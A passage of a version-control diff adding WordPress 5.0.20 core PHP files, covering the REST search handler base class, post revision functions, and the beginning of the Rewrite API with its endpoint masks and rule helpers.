+				'href'       => rest_url( $item_route ),
+				'embeddable' => true,
+			);
+		}
+
+		$links['about'] = array(
+			'href' => rest_url( 'wp/v2/types/' . $post->post_type ),
+		);
+
+		return $links;
+	}
+
+	/**
+	 * Overwrites the default protected title format.
+	 *
+	 * By default, WordPress will show password protected posts with a title of
+	 * "Protected: %s". As the REST API communicates the protected status of a post
+	 * in a machine readable format, we remove the "Protected: " prefix.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return string Protected title format.
+	 */
+	public function protected_title_format() {
+		return '%s';
+	}
+
+	/**
+	 * Attempts to detect the route to access a single item.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_Post $post Post object.
+	 * @return string REST route relative to the REST base URI, or empty string if unknown.
+	 */
+	protected function detect_rest_item_route( $post ) {
+		$post_type = get_post_type_object( $post->post_type );
+		if ( ! $post_type ) {
+			return '';
+		}
+
+		// It's currently impossible to detect the REST URL from a custom controller.
+		if ( ! empty( $post_type->rest_controller_class ) && 'WP_REST_Posts_Controller' !== $post_type->rest_controller_class ) {
+			return '';
+		}
+
+		$namespace = 'wp/v2';
+		$rest_base = ! empty( $post_type->rest_base ) ? $post_type->rest_base : $post_type->name;
+
+		return sprintf( '%s/%s/%d', $namespace, $rest_base, $post->ID );
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/search/class-wp-rest-search-handler.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/search/class-wp-rest-search-handler.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/search/class-wp-rest-search-handler.php	(revision 56912)
@@ -0,0 +1,97 @@
+<?php
+/**
+ * REST API: WP_REST_Search_Handler class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 5.0.0
+ */
+
+/**
+ * Core base class representing a search handler for an object type in the REST API.
+ *
+ * @since 5.0.0
+ */
+abstract class WP_REST_Search_Handler {
+
+	/**
+	 * Field containing the IDs in the search result.
+	 */
+	const RESULT_IDS = 'ids';
+
+	/**
+	 * Field containing the total count in the search result.
+	 */
+	const RESULT_TOTAL = 'total';
+
+	/**
+	 * Object type managed by this search handler.
+	 *
+	 * @since 5.0.0
+	 * @var string
+	 */
+	protected $type = '';
+
+	/**
+	 * Object subtypes managed by this search handler.
+	 *
+	 * @since 5.0.0
+	 * @var array
+	 */
+	protected $subtypes = array();
+
+	/**
+	 * Gets the object type managed by this search handler.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return string Object type identifier.
+	 */
+	public function get_type() {
+		return $this->type;
+	}
+
+	/**
+	 * Gets the object subtypes managed by this search handler.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return array Array of object subtype identifiers.
+	 */
+	public function get_subtypes() {
+		return $this->subtypes;
+	}
+
+	/**
+	 * Searches the object type content for a given search request.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Full REST request.
+	 * @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing
+	 *               an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the
+	 *               total count for the matching search results.
+	 */
+	abstract public function search_items( WP_REST_Request $request );
+
+	/**
+	 * Prepares the search result for a given ID.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param int   $id     Item ID.
+	 * @param array $fields Fields to include for the item.
+	 * @return array Associative array containing all fields for the item.
+	 */
+	abstract public function prepare_item( $id, array $fields );
+
+	/**
+	 * Prepares links for the search result of a given ID.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param int $id Item ID.
+	 * @return array Links for the given item.
+	 */
+	abstract public function prepare_item_links( $id );
+}
Index: /tags/5.0.20/src/wp-includes/revision.php
===================================================================
--- /tags/5.0.20/src/wp-includes/revision.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/revision.php	(revision 56912)
@@ -0,0 +1,727 @@
+<?php
+/**
+ * Post revision functions.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ */
+
+/**
+ * Determines which fields of posts are to be saved in revisions.
+ *
+ * @since 2.6.0
+ * @since 4.5.0 A `WP_Post` object can now be passed to the `$post` parameter.
+ * @since 4.5.0 The optional `$autosave` parameter was deprecated and renamed to `$deprecated`.
+ * @access private
+ *
+ * @staticvar array $fields
+ *
+ * @param array|WP_Post $post       Optional. A post array or a WP_Post object being processed
+ *                                  for insertion as a post revision. Default empty array.
+ * @param bool          $deprecated Not used.
+ * @return array Array of fields that can be versioned.
+ */
+function _wp_post_revision_fields( $post = array(), $deprecated = false ) {
+	static $fields = null;
+
+	if ( ! is_array( $post ) ) {
+		$post = get_post( $post, ARRAY_A );
+	}
+
+	if ( is_null( $fields ) ) {
+		// Allow these to be versioned
+		$fields = array(
+			'post_title' => __( 'Title' ),
+			'post_content' => __( 'Content' ),
+			'post_excerpt' => __( 'Excerpt' ),
+		);
+	}
+
+	/**
+	 * Filters the list of fields saved in post revisions.
+	 *
+	 * Included by default: 'post_title', 'post_content' and 'post_excerpt'.
+	 *
+	 * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date',
+	 * 'post_date_gmt', 'post_status', 'post_type', 'comment_count',
+	 * and 'post_author'.
+	 *
+	 * @since 2.6.0
+	 * @since 4.5.0 The `$post` parameter was added.
+	 *
+	 * @param array $fields List of fields to revision. Contains 'post_title',
+	 *                      'post_content', and 'post_excerpt' by default.
+	 * @param array $post   A post array being processed for insertion as a post revision.
+	 */
+	$fields = apply_filters( '_wp_post_revision_fields', $fields, $post );
+
+	// WP uses these internally either in versioning or elsewhere - they cannot be versioned
+	foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) {
+		unset( $fields[ $protect ] );
+	}
+
+
+	return $fields;
+}
+
+/**
+ * Returns a post array ready to be inserted into the posts table as a post revision.
+ *
+ * @since 4.5.0
+ * @access private
+ *
+ * @param array|WP_Post $post     Optional. A post array or a WP_Post object to be processed
+ *                                for insertion as a post revision. Default empty array.
+ * @param bool          $autosave Optional. Is the revision an autosave? Default false.
+ * @return array Post array ready to be inserted as a post revision.
+ */
+function _wp_post_revision_data( $post = array(), $autosave = false ) {
+	if ( ! is_array( $post ) ) {
+		$post = get_post( $post, ARRAY_A );
+	}
+
+	$fields = _wp_post_revision_fields( $post );
+
+	$revision_data = array();
+
+	foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) {
+		$revision_data[ $field ] = $post[ $field ];
+	}
+
+	$revision_data['post_parent']   = $post['ID'];
+	$revision_data['post_status']   = 'inherit';
+	$revision_data['post_type']     = 'revision';
+	$revision_data['post_name']     = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1"; // "1" is the revisioning system version
+	$revision_data['post_date']     = isset( $post['post_modified'] ) ? $post['post_modified'] : '';
+	$revision_data['post_date_gmt'] = isset( $post['post_modified_gmt'] ) ? $post['post_modified_gmt'] : '';
+
+	return $revision_data;
+}
+
+/**
+ * Creates a revision for the current version of a post.
+ *
+ * Typically used immediately after a post update, as every update is a revision,
+ * and the most recent revision always matches the current post.
+ *
+ * @since 2.6.0
+ *
+ * @param int $post_id The ID of the post to save as a revision.
+ * @return int|WP_Error|void Void or 0 if error, new revision ID, if success.
+ */
+function wp_save_post_revision( $post_id ) {
+	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE )
+		return;
+
+	if ( ! $post = get_post( $post_id ) )
+		return;
+
+	if ( ! post_type_supports( $post->post_type, 'revisions' ) )
+		return;
+
+	if ( 'auto-draft' == $post->post_status )
+		return;
+
+	if ( ! wp_revisions_enabled( $post ) )
+		return;
+
+	// Compare the proposed update with the last stored revision verifying that
+	// they are different, unless a plugin tells us to always save regardless.
+	// If no previous revisions, save one
+	if ( $revisions = wp_get_post_revisions( $post_id ) ) {
+		// grab the last revision, but not an autosave
+		foreach ( $revisions as $revision ) {
+			if ( false !== strpos( $revision->post_name, "{$revision->post_parent}-revision" ) ) {
+				$last_revision = $revision;
+				break;
+			}
+		}
+
+		/**
+		 * Filters whether the post has changed since the last revision.
+		 *
+		 * By default a revision is saved only if one of the revisioned fields has changed.
+		 * This filter can override that so a revision is saved even if nothing has changed.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param bool    $check_for_changes Whether to check for changes before saving a new revision.
+		 *                                   Default true.
+		 * @param WP_Post $last_revision     The last revision post object.
+		 * @param WP_Post $post              The post object.
+		 *
+		 */
+		if ( isset( $last_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', $check_for_changes = true, $last_revision, $post ) ) {
+			$post_has_changed = false;
+
+			foreach ( array_keys( _wp_post_revision_fields( $post ) ) as $field ) {
+				if ( normalize_whitespace( $post->$field ) != normalize_whitespace( $last_revision->$field ) ) {
+					$post_has_changed = true;
+					break;
+				}
+			}
+
+			/**
+			 * Filters whether a post has changed.
+			 *
+			 * By default a revision is saved only if one of the revisioned fields has changed.
+			 * This filter allows for additional checks to determine if there were changes.
+			 *
+			 * @since 4.1.0
+			 *
+			 * @param bool    $post_has_changed Whether the post has changed.
+			 * @param WP_Post $last_revision    The last revision post object.
+			 * @param WP_Post $post             The post object.
+			 *
+			 */
+			$post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $last_revision, $post );
+
+			//don't save revision if post unchanged
+			if ( ! $post_has_changed ) {
+				return;
+			}
+		}
+	}
+
+	$return = _wp_put_post_revision( $post );
+
+	// If a limit for the number of revisions to keep has been set,
+	// delete the oldest ones.
+	$revisions_to_keep = wp_revisions_to_keep( $post );
+
+	if ( $revisions_to_keep < 0 )
+		return $return;
+
+	$revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) );
+
+	$delete = count($revisions) - $revisions_to_keep;
+
+	if ( $delete < 1 )
+		return $return;
+
+	$revisions = array_slice( $revisions, 0, $delete );
+
+	for ( $i = 0; isset( $revisions[$i] ); $i++ ) {
+		if ( false !== strpos( $revisions[ $i ]->post_name, 'autosave' ) )
+			continue;
+
+		wp_delete_post_revision( $revisions[ $i ]->ID );
+	}
+
+	return $return;
+}
+
+/**
+ * Retrieve the autosaved data of the specified post.
+ *
+ * Returns a post object containing the information that was autosaved for the
+ * specified post. If the optional $user_id is passed, returns the autosave for that user
+ * otherwise returns the latest autosave.
+ *
+ * @since 2.6.0
+ *
+ * @param int $post_id The post ID.
+ * @param int $user_id Optional The post author ID.
+ * @return WP_Post|false The autosaved data or false on failure or when no autosave exists.
+ */
+function wp_get_post_autosave( $post_id, $user_id = 0 ) {
+	$revisions = wp_get_post_revisions( $post_id, array( 'check_enabled' => false ) );
+
+	foreach ( $revisions as $revision ) {
+		if ( false !== strpos( $revision->post_name, "{$post_id}-autosave" ) ) {
+			if ( $user_id && $user_id != $revision->post_author )
+				continue;
+
+			return $revision;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Determines if the specified post is a revision.
+ *
+ * @since 2.6.0
+ *
+ * @param int|WP_Post $post Post ID or post object.
+ * @return false|int False if not a revision, ID of revision's parent otherwise.
+ */
+function wp_is_post_revision( $post ) {
+	if ( !$post = wp_get_post_revision( $post ) )
+		return false;
+
+	return (int) $post->post_parent;
+}
+
+/**
+ * Determines if the specified post is an autosave.
+ *
+ * @since 2.6.0
+ *
+ * @param int|WP_Post $post Post ID or post object.
+ * @return false|int False if not a revision, ID of autosave's parent otherwise
+ */
+function wp_is_post_autosave( $post ) {
+	if ( !$post = wp_get_post_revision( $post ) )
+		return false;
+
+	if ( false !== strpos( $post->post_name, "{$post->post_parent}-autosave" ) )
+		return (int) $post->post_parent;
+
+	return false;
+}
+
+/**
+ * Inserts post data into the posts table as a post revision.
+ *
+ * @since 2.6.0
+ * @access private
+ *
+ * @param int|WP_Post|array|null $post     Post ID, post object OR post array.
+ * @param bool                   $autosave Optional. Is the revision an autosave?
+ * @return int|WP_Error WP_Error or 0 if error, new revision ID if success.
+ */
+function _wp_put_post_revision( $post = null, $autosave = false ) {
+	if ( is_object($post) )
+		$post = get_object_vars( $post );
+	elseif ( !is_array($post) )
+		$post = get_post($post, ARRAY_A);
+
+	if ( ! $post || empty($post['ID']) )
+		return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
+
+	if ( isset($post['post_type']) && 'revision' == $post['post_type'] )
+		return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) );
+
+	$post = _wp_post_revision_data( $post, $autosave );
+	$post = wp_slash($post); //since data is from db
+
+	$revision_id = wp_insert_post( $post );
+	if ( is_wp_error($revision_id) )
+		return $revision_id;
+
+	if ( $revision_id ) {
+		/**
+		 * Fires once a revision has been saved.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param int $revision_id Post revision ID.
+		 */
+		do_action( '_wp_put_post_revision', $revision_id );
+	}
+
+	return $revision_id;
+}
+
+/**
+ * Gets a post revision.
+ *
+ * @since 2.6.0
+ *
+ * @param int|WP_Post $post   The post ID or object.
+ * @param string      $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
+ *                            a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
+ * @param string      $filter Optional sanitation filter. See sanitize_post().
+ * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
+ */
+function wp_get_post_revision(&$post, $output = OBJECT, $filter = 'raw') {
+	if ( !$revision = get_post( $post, OBJECT, $filter ) )
+		return $revision;
+	if ( 'revision' !== $revision->post_type )
+		return null;
+
+	if ( $output == OBJECT ) {
+		return $revision;
+	} elseif ( $output == ARRAY_A ) {
+		$_revision = get_object_vars($revision);
+		return $_revision;
+	} elseif ( $output == ARRAY_N ) {
+		$_revision = array_values(get_object_vars($revision));
+		return $_revision;
+	}
+
+	return $revision;
+}
+
+/**
+ * Restores a post to the specified revision.
+ *
+ * Can restore a past revision using all fields of the post revision, or only selected fields.
+ *
+ * @since 2.6.0
+ *
+ * @param int|WP_Post $revision_id Revision ID or revision object.
+ * @param array       $fields      Optional. What fields to restore from. Defaults to all.
+ * @return int|false|null Null if error, false if no fields to restore, (int) post ID if success.
+ */
+function wp_restore_post_revision( $revision_id, $fields = null ) {
+	if ( !$revision = wp_get_post_revision( $revision_id, ARRAY_A ) )
+		return $revision;
+
+	if ( !is_array( $fields ) )
+		$fields = array_keys( _wp_post_revision_fields( $revision ) );
+
+	$update = array();
+	foreach ( array_intersect( array_keys( $revision ), $fields ) as $field ) {
+		$update[$field] = $revision[$field];
+	}
+
+	if ( !$update )
+		return false;
+
+	$update['ID'] = $revision['post_parent'];
+
+	$update = wp_slash( $update ); //since data is from db
+
+	$post_id = wp_update_post( $update );
+	if ( ! $post_id || is_wp_error( $post_id ) )
+		return $post_id;
+
+	// Update last edit user
+	update_post_meta( $post_id, '_edit_last', get_current_user_id() );
+
+	/**
+	 * Fires after a post revision has been restored.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param int $post_id     Post ID.
+	 * @param int $revision_id Post revision ID.
+	 */
+	do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] );
+
+	return $post_id;
+}
+
+/**
+ * Deletes a revision.
+ *
+ * Deletes the row from the posts table corresponding to the specified revision.
+ *
+ * @since 2.6.0
+ *
+ * @param int|WP_Post $revision_id Revision ID or revision object.
+ * @return array|false|WP_Post|WP_Error|null Null or WP_Error if error, deleted post if success.
+ */
+function wp_delete_post_revision( $revision_id ) {
+	if ( ! $revision = wp_get_post_revision( $revision_id ) ) {
+		return $revision;
+	}
+
+	$delete = wp_delete_post( $revision->ID );
+	if ( $delete ) {
+		/**
+		 * Fires once a post revision has been deleted.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param int          $revision_id Post revision ID.
+		 * @param object|array $revision    Post revision object or array.
+		 */
+		do_action( 'wp_delete_post_revision', $revision->ID, $revision );
+	}
+
+	return $delete;
+}
+
+/**
+ * Returns all revisions of specified post.
+ *
+ * @since 2.6.0
+ *
+ * @see get_children()
+ *
+ * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global `$post`.
+ * @param array|null  $args    Optional. Arguments for retrieving post revisions. Default null.
+ * @return array An array of revisions, or an empty array if none.
+ */
+function wp_get_post_revisions( $post_id = 0, $args = null ) {
+	$post = get_post( $post_id );
+	if ( ! $post || empty( $post->ID ) )
+		return array();
+
+	$defaults = array( 'order' => 'DESC', 'orderby' => 'date ID', 'check_enabled' => true );
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) )
+		return array();
+
+	$args = array_merge( $args, array( 'post_parent' => $post->ID, 'post_type' => 'revision', 'post_status' => 'inherit' ) );
+
+	if ( ! $revisions = get_children( $args ) )
+		return array();
+
+	return $revisions;
+}
+
+/**
+ * Determine if revisions are enabled for a given post.
+ *
+ * @since 3.6.0
+ *
+ * @param WP_Post $post The post object.
+ * @return bool True if number of revisions to keep isn't zero, false otherwise.
+ */
+function wp_revisions_enabled( $post ) {
+	return wp_revisions_to_keep( $post ) !== 0;
+}
+
+/**
+ * Determine how many revisions to retain for a given post.
+ *
+ * By default, an infinite number of revisions are kept.
+ *
+ * The constant WP_POST_REVISIONS can be set in wp-config to specify the limit
+ * of revisions to keep.
+ *
+ * @since 3.6.0
+ *
+ * @param WP_Post $post The post object.
+ * @return int The number of revisions to keep.
+ */
+function wp_revisions_to_keep( $post ) {
+	$num = WP_POST_REVISIONS;
+
+	if ( true === $num )
+		$num = -1;
+	else
+		$num = intval( $num );
+
+	if ( ! post_type_supports( $post->post_type, 'revisions' ) )
+		$num = 0;
+
+	/**
+	 * Filters the number of revisions to save for the given post.
+	 *
+	 * Overrides the value of WP_POST_REVISIONS.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param int     $num  Number of revisions to store.
+	 * @param WP_Post $post Post object.
+	 */
+	return (int) apply_filters( 'wp_revisions_to_keep', $num, $post );
+}
+
+/**
+ * Sets up the post object for preview based on the post autosave.
+ *
+ * @since 2.7.0
+ * @access private
+ *
+ * @param WP_Post $post
+ * @return WP_Post|false
+ */
+function _set_preview( $post ) {
+	if ( ! is_object( $post ) ) {
+		return $post;
+	}
+
+	$preview = wp_get_post_autosave( $post->ID );
+	if ( ! is_object( $preview ) ) {
+		return $post;
+	}
+
+	$preview = sanitize_post( $preview );
+
+	$post->post_content = $preview->post_content;
+	$post->post_title = $preview->post_title;
+	$post->post_excerpt = $preview->post_excerpt;
+
+	add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 );
+	add_filter( 'get_post_metadata', '_wp_preview_post_thumbnail_filter', 10, 3 );
+
+	return $post;
+}
+
+/**
+ * Filters the latest content for preview from the post autosave.
+ *
+ * @since 2.7.0
+ * @access private
+ */
+function _show_post_preview() {
+	if ( isset($_GET['preview_id']) && isset($_GET['preview_nonce']) ) {
+		$id = (int) $_GET['preview_id'];
+
+		if ( false === wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) )
+			wp_die( __('Sorry, you are not allowed to preview drafts.') );
+
+		add_filter('the_preview', '_set_preview');
+	}
+}
+
+/**
+ * Filters terms lookup to set the post format.
+ *
+ * @since 3.6.0
+ * @access private
+ *
+ * @param array  $terms
+ * @param int    $post_id
+ * @param string $taxonomy
+ * @return array
+ */
+function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) {
+	if ( ! $post = get_post() )
+		return $terms;
+
+	if ( empty( $_REQUEST['post_format'] ) || $post->ID != $post_id || 'post_format' != $taxonomy || 'revision' == $post->post_type )
+		return $terms;
+
+	if ( 'standard' == $_REQUEST['post_format'] )
+		$terms = array();
+	elseif ( $term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' ) )
+		$terms = array( $term ); // Can only have one post format
+
+	return $terms;
+}
+
+/**
+ * Filters post thumbnail lookup to set the post thumbnail.
+ *
+ * @since 4.6.0
+ * @access private
+ *
+ * @param null|array|string $value    The value to return - a single metadata value, or an array of values.
+ * @param int               $post_id  Post ID.
+ * @param string            $meta_key Meta key.
+ * @return null|array The default return value or the post thumbnail meta array.
+ */
+function _wp_preview_post_thumbnail_filter( $value, $post_id, $meta_key ) {
+	if ( ! $post = get_post() ) {
+		return $value;
+	}
+
+	if ( empty( $_REQUEST['_thumbnail_id'] ) ||
+	     empty( $_REQUEST['preview_id'] ) ||
+	     $post->ID != $post_id ||
+	     '_thumbnail_id' != $meta_key ||
+	     'revision' == $post->post_type ||
+	     $post_id != $_REQUEST['preview_id']
+	) {
+		return $value;
+	}
+
+	$thumbnail_id = intval( $_REQUEST['_thumbnail_id'] );
+	if ( $thumbnail_id <= 0 ) {
+		return '';
+	}
+
+	return strval( $thumbnail_id );
+}
+
+/**
+ * Gets the post revision version.
+ *
+ * @since 3.6.0
+ * @access private
+ *
+ * @param WP_Post $revision
+ * @return int|false
+ */
+function _wp_get_post_revision_version( $revision ) {
+	if ( is_object( $revision ) )
+		$revision = get_object_vars( $revision );
+	elseif ( !is_array( $revision ) )
+		return false;
+
+	if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) )
+		return (int) $matches[1];
+
+	return 0;
+}
+
+/**
+ * Upgrade the revisions author, add the current post as a revision and set the revisions version to 1
+ *
+ * @since 3.6.0
+ * @access private
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param WP_Post $post      Post object
+ * @param array   $revisions Current revisions of the post
+ * @return bool true if the revisions were upgraded, false if problems
+ */
+function _wp_upgrade_revisions_of_post( $post, $revisions ) {
+	global $wpdb;
+
+	// Add post option exclusively
+	$lock = "revision-upgrade-{$post->ID}";
+	$now = time();
+	$result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'no') /* LOCK */", $lock, $now ) );
+	if ( ! $result ) {
+		// If we couldn't get a lock, see how old the previous lock is
+		$locked = get_option( $lock );
+		if ( ! $locked ) {
+			// Can't write to the lock, and can't read the lock.
+			// Something broken has happened
+			return false;
+		}
+
+		if ( $locked > $now - 3600 ) {
+			// Lock is not too old: some other process may be upgrading this post.  Bail.
+			return false;
+		}
+
+		// Lock is too old - update it (below) and continue
+	}
+
+	// If we could get a lock, re-"add" the option to fire all the correct filters.
+	update_option( $lock, $now );
+
+	reset( $revisions );
+	$add_last = true;
+
+	do {
+		$this_revision = current( $revisions );
+		$prev_revision = next( $revisions );
+
+		$this_revision_version = _wp_get_post_revision_version( $this_revision );
+
+		// Something terrible happened
+		if ( false === $this_revision_version )
+			continue;
+
+		// 1 is the latest revision version, so we're already up to date.
+		// No need to add a copy of the post as latest revision.
+		if ( 0 < $this_revision_version ) {
+			$add_last = false;
+			continue;
+		}
+
+		// Always update the revision version
+		$update = array(
+			'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ),
+		);
+
+		// If this revision is the oldest revision of the post, i.e. no $prev_revision,
+		// the correct post_author is probably $post->post_author, but that's only a good guess.
+		// Update the revision version only and Leave the author as-is.
+		if ( $prev_revision ) {
+			$prev_revision_version = _wp_get_post_revision_version( $prev_revision );
+
+			// If the previous revision is already up to date, it no longer has the information we need :(
+			if ( $prev_revision_version < 1 )
+				$update['post_author'] = $prev_revision->post_author;
+		}
+
+		// Upgrade this revision
+		$result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) );
+
+		if ( $result )
+			wp_cache_delete( $this_revision->ID, 'posts' );
+
+	} while ( $prev_revision );
+
+	delete_option( $lock );
+
+	// Add a copy of the post as latest revision.
+	if ( $add_last )
+		wp_save_post_revision( $post->ID );
+
+	return true;
+}
Index: /tags/5.0.20/src/wp-includes/rewrite.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rewrite.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rewrite.php	(revision 56912)
@@ -0,0 +1,607 @@
+<?php
+/**
+ * WordPress Rewrite API
+ *
+ * @package WordPress
+ * @subpackage Rewrite
+ */
+
+/**
+ * Endpoint Mask for default, which is nothing.
+ *
+ * @since 2.1.0
+ */
+define('EP_NONE', 0);
+
+/**
+ * Endpoint Mask for Permalink.
+ *
+ * @since 2.1.0
+ */
+define('EP_PERMALINK', 1);
+
+/**
+ * Endpoint Mask for Attachment.
+ *
+ * @since 2.1.0
+ */
+define('EP_ATTACHMENT', 2);
+
+/**
+ * Endpoint Mask for date.
+ *
+ * @since 2.1.0
+ */
+define('EP_DATE', 4);
+
+/**
+ * Endpoint Mask for year
+ *
+ * @since 2.1.0
+ */
+define('EP_YEAR', 8);
+
+/**
+ * Endpoint Mask for month.
+ *
+ * @since 2.1.0
+ */
+define('EP_MONTH', 16);
+
+/**
+ * Endpoint Mask for day.
+ *
+ * @since 2.1.0
+ */
+define('EP_DAY', 32);
+
+/**
+ * Endpoint Mask for root.
+ *
+ * @since 2.1.0
+ */
+define('EP_ROOT', 64);
+
+/**
+ * Endpoint Mask for comments.
+ *
+ * @since 2.1.0
+ */
+define('EP_COMMENTS', 128);
+
+/**
+ * Endpoint Mask for searches.
+ *
+ * @since 2.1.0
+ */
+define('EP_SEARCH', 256);
+
+/**
+ * Endpoint Mask for categories.
+ *
+ * @since 2.1.0
+ */
+define('EP_CATEGORIES', 512);
+
+/**
+ * Endpoint Mask for tags.
+ *
+ * @since 2.3.0
+ */
+define('EP_TAGS', 1024);
+
+/**
+ * Endpoint Mask for authors.
+ *
+ * @since 2.1.0
+ */
+define('EP_AUTHORS', 2048);
+
+/**
+ * Endpoint Mask for pages.
+ *
+ * @since 2.1.0
+ */
+define('EP_PAGES', 4096);
+
+/**
+ * Endpoint Mask for all archive views.
+ *
+ * @since 3.7.0
+ */
+define( 'EP_ALL_ARCHIVES', EP_DATE | EP_YEAR | EP_MONTH | EP_DAY | EP_CATEGORIES | EP_TAGS | EP_AUTHORS );
+
+/**
+ * Endpoint Mask for everything.
+ *
+ * @since 2.1.0
+ */
+define( 'EP_ALL', EP_PERMALINK | EP_ATTACHMENT | EP_ROOT | EP_COMMENTS | EP_SEARCH | EP_PAGES | EP_ALL_ARCHIVES );
+
+/**
+ * Adds a rewrite rule that transforms a URL structure to a set of query vars.
+ *
+ * Any value in the $after parameter that isn't 'bottom' will result in the rule
+ * being placed at the top of the rewrite rules.
+ *
+ * @since 2.1.0
+ * @since 4.4.0 Array support was added to the `$query` parameter.
+ *
+ * @global WP_Rewrite $wp_rewrite WordPress Rewrite Component.
+ *
+ * @param string       $regex Regular expression to match request against.
+ * @param string|array $query The corresponding query vars for this rewrite rule.
+ * @param string       $after Optional. Priority of the new rule. Accepts 'top'
+ *                            or 'bottom'. Default 'bottom'.
+ */
+function add_rewrite_rule( $regex, $query, $after = 'bottom' ) {
+	global $wp_rewrite;
+
+	$wp_rewrite->add_rule( $regex, $query, $after );
+}
+
+/**
+ * Add a new rewrite tag (like %postname%).
+ *
+ * The $query parameter is optional. If it is omitted you must ensure that
+ * you call this on, or before, the {@see 'init'} hook. This is because $query defaults
+ * to "$tag=", and for this to work a new query var has to be added.
+ *
+ * @since 2.1.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ * @global WP         $wp
+ *
+ * @param string $tag   Name of the new rewrite tag.
+ * @param string $regex Regular expression to substitute the tag for in rewrite rules.
+ * @param string $query Optional. String to append to the rewritten query. Must end in '='. Default empty.
+ */
+function add_rewrite_tag( $tag, $regex, $query = '' ) {
+	// validate the tag's name
+	if ( strlen( $tag ) < 3 || $tag[0] != '%' || $tag[ strlen($tag) - 1 ] != '%' )
+		return;
+
+	global $wp_rewrite, $wp;
+
+	if ( empty( $query ) ) {
+		$qv = trim( $tag, '%' );
+		$wp->add_query_var( $qv );
+		$query = $qv . '=';
+	}
+
+	$wp_rewrite->add_rewrite_tag( $tag, $regex, $query );
+}
+
+/**
+ * Removes an existing rewrite tag (like %postname%).
+ *
+ * @since 4.5.0
+ *
+ * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
+ *
+ * @param string $tag Name of the rewrite tag.
+ */
+function remove_rewrite_tag( $tag ) {
+	global $wp_rewrite;
+	$wp_rewrite->remove_rewrite_tag( $tag );
+}
+
+/**
+ * Add permalink structure.
+ *
+ * @since 3.0.0
+ *
+ * @see WP_Rewrite::add_permastruct()
+ * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
+ *
+ * @param string $name   Name for permalink structure.
+ * @param string $struct Permalink structure.
+ * @param array  $args   Optional. Arguments for building the rules from the permalink structure,
+ *                       see WP_Rewrite::add_permastruct() for full details. Default empty array.
+ */
+function add_permastruct( $name, $struct, $args = array() ) {
+	global $wp_rewrite;
+
+	// Back-compat for the old parameters: $with_front and $ep_mask.
+	if ( ! is_array( $args ) )
+		$args = array( 'with_front' => $args );
+	if ( func_num_args() == 4 )
+		$args['ep_mask'] = func_get_arg( 3 );
+
+	$wp_rewrite->add_permastruct( $name, $struct, $args );
+}
+
+/**
+ * Removes a permalink structure.
+ *
+ * Can only be used to remove permastructs that were added using add_permastruct().
+ * Built-in permastructs cannot be removed.
+ *
+ * @since 4.5.0
+ *
+ * @see WP_Rewrite::remove_permastruct()
+ * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
+ *
+ * @param string $name Name for permalink structure.
+ */
+function remove_permastruct( $name ) {
+	global $wp_rewrite;
+
+	$wp_rewrite->remove_permastruct( $name );
+}
+
+/**
+ * Add a new feed type like /atom1/.
+ *
+ * @since 2.1.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string   $feedname Feed name.
+ * @param callable $function Callback to run on feed display.
+ * @return string Feed action name.
+ */
+function add_feed( $feedname, $function ) {
+	global $wp_rewrite;
+
+	if ( ! in_array( $feedname, $wp_rewrite->feeds ) ) {
